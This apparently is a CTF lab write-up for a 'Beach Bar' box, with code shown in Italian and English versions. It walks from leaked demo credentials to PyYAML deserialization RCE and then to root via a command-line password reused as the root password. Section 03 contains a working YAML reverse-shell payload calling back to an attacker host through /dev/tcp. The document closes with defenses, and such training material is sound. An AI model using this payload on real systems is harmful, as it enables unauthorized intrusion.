// TL;DR
  • Recon: only SSH and HTTP (gunicorn); the web app is the only way in.
  • Demo dj/dj login left in the view-source.
  • Playlist import uses unsafe yaml.load → RCE via !!python/object/apply.
  • Reverse shell as bartender, then ps aux leaks a root daemon's stream-pass, reused as the root password.
  • Defense: safe_load and never secrets in CLI args.
// before you start

Swap <target> for the box IP and <attacker> for your VPN IP (ip a show tun0). The nc listener runs on your machine; from the foothold onwards commands run on the target. You need: nmap, netcat, curl and a browser.

[01] Recon and attack surface

The machine IP goes straight into the browser: up comes "Beach Bar // Sign in", a web app on port 80. In parallel I fire nmap to see what I'm dealing with.

# superficie minima: due porte e via
nmap -sC -sV -p- <target> -oN nmap.txt
# 22/tcp open  ssh
# 80/tcp open  http    gunicorn
# minimal surface: two ports and that's it
nmap -sC -sV -p- <target> -oN nmap.txt
# 22/tcp open  ssh
# 80/tcp open  http    gunicorn

Two ports total: SSH and an HTTP served by gunicorn. A tiny attack surface, which is almost a hint in itself: the way in is the web app.

[02] The login nobody turned off

First rule, always worth it: I read the login page source. And sure enough, the developer forgot something.

// note

In the login's view-source, a gift: "staff note: demo DJ login still enabled for the soft opening — dj / dj, swap before the season (ticket BAR-7)". A comment like that in the source is the key under the doormat.

# il commento vive nel sorgente del login, non nella pagina renderizzata
curl -s http://<target>/login | grep -i -B1 -A1 'staff note'
<!-- staff note: demo DJ login still enabled for the soft opening
     — dj / dj, swap before the season (ticket BAR-7) -->

# le uso sul form: http://<target>/login → dashboard DJ
dj / dj
# the comment lives in the login source, not in the rendered page
curl -s http://<target>/login | grep -i -B1 -A1 'staff note'
<!-- staff note: demo DJ login still enabled for the soft opening
     — dj / dj, swap before the season (ticket BAR-7) -->

# use them on the form: http://<target>/login → DJ dashboard
dj / dj

Inside, a DJ dashboard for "tonight's set" with two interesting buttons: Export and Import of a playlist as YAML. I hit Export first to learn the format.

# formato playlist restituito da Export
playlist:
  name: Sunset Session
  vibe: golden hour
  tracks:
    - artist: Khruangbin
      title: Maria Tambien
# playlist format returned by Export
playlist:
  name: Sunset Session
  vibe: golden hour
  tracks:
    - artist: Khruangbin
      title: Maria Tambien

[03] RCE via PyYAML unsafe load

A feature that eats raw YAML from a logged-in user is exactly the kind of thing to test for code execution. I open a listener — remembering to open the port on the VPN, or the shell never comes back.

# apri PRIMA la porta sul tuo firewall locale (altrimenti il callback dalla VPN viene droppato), poi ascolta
sudo ufw allow 4444/tcp   # se hai un firewall locale
nc -lvnp 4444
# open the port on your LOCAL firewall FIRST (otherwise the VPN callback gets dropped), then listen
sudo ufw allow 4444/tcp   # if you run a local firewall
nc -lvnp 4444
# incollato nel box Import playlist
playlist:
  name: !!python/object/apply:subprocess.check_output [["bash","-c","bash -i >& /dev/tcp/<attacker>/4444 0>&1"]]
  tracks: []
# pasted into the Import playlist box
playlist:
  name: !!python/object/apply:subprocess.check_output [["bash","-c","bash -i >& /dev/tcp/<attacker>/4444 0>&1"]]
  tracks: []

Why it works: the app deserializes the YAML with an unsafe loader (yaml.load(...) with Loader=yaml.Loader/UnsafeLoader, or yaml.unsafe_load()): that loader reconstructs arbitrary Python objects. In recent PyYAML, yaml.load() without an explicit Loader raises an error precisely to prevent this — here that safeguard was bypassed. The !!python/object/apply tag isn't "YAML injection": it's a genuine deserialization gadget that invokes a callable — here subprocess.check_output — during parsing. Same pattern as pickle, Java's readObject or PHP's unserialize: if the format rebuilds objects, whoever controls the data controls the code.

A method detail worth isolating: check_output blocks until the command finishes and raises an exception on a non-zero exit code. If the listener isn't up yet (or the port is closed on the VPN), bash -c fails, the exception bubbles up and the app returns 500 — no shell. That's why I open the port and listener before sending the payload; in more fragile scenarios os.system is more forgiving because it doesn't raise on the return code.

A shell comes back as bartender. It's a bit crippled (no arrow keys, no tab), so I stabilize it and read the first flag.

# TTY decente — [sul target]
python3 -c 'import pty; pty.spawn("/bin/bash")'
# Ctrl+Z → torna alla TUA shell locale
stty raw -echo; fg   # [sulla tua macchina]
export TERM=xterm   # [di nuovo sul target]
id            # uid=1001(bartender)
# la flag utente sta nella home dell'utente (cwd variabile: uso una glob)
cat /home/*/user.txt  # THM{████████████████████}
# a decent TTY — [on the target]
python3 -c 'import pty; pty.spawn("/bin/bash")'
# Ctrl+Z → back to YOUR local shell
stty raw -echo; fg   # [on your machine]
export TERM=xterm   # [back on the target]
id            # uid=1001(bartender)
# the user flag lives in the user's home (cwd varies: use a glob)
cat /home/*/user.txt  # THM{████████████████████}

[04] Privesc: the process that talks too much

Root took more digging. The trick here isn't an exploit but observation: what do the running processes say out loud?

# cosa dice ad alta voce un processo
ps aux | grep python
# root ... /opt/beach-bar/jukeboxd/jukeboxd.py --stream-pass ████ ...
# un demone jukebox gira come ROOT e mette la stream-pass sulla command line; è riusata come password di root (credential reuse): la provo con su
su root
# password: ████
cat /root/root.txt   # THM{████████████████████}
# what a process says out loud
ps aux | grep python
# root ... /opt/beach-bar/jukeboxd/jukeboxd.py --stream-pass ████ ...
# a jukebox daemon runs as ROOT and puts its stream-pass on the command line; it's reused as the root password (credential reuse): I try it with su
su root
# password: ████
cat /root/root.txt   # THM{████████████████████}

The technical lesson: the arguments of any process are readable by anyone via /proc/PID/cmdline, unless /proc is mounted with hidepid. ps aux | grep python is handy but narrow: a password passed as a flag on the command line is a public secret for every user on the box, not just the python processes. When I enumerate for privesc I always scan the whole COMMAND column, not only the grep I expect to hit.

// flag — REDACTED
THM{████████████████████}

You won't find the flag here: the value itself teaches nothing, and half the fun is getting there. The methodology above is complete and reproducible — the last Enter is yours to press.

// lesson

Two concrete defenses. One: always parse with yaml.safe_load() — and more broadly, don't deserialize object-reconstructing formats from untrusted input. Two: passwords must never be passed as CLI arguments; use environment variables, config files with tight permissions or a secret manager, and consider hidepid on /proc. And while you're at it: strip demo logins and comments from the source before the "soft opening".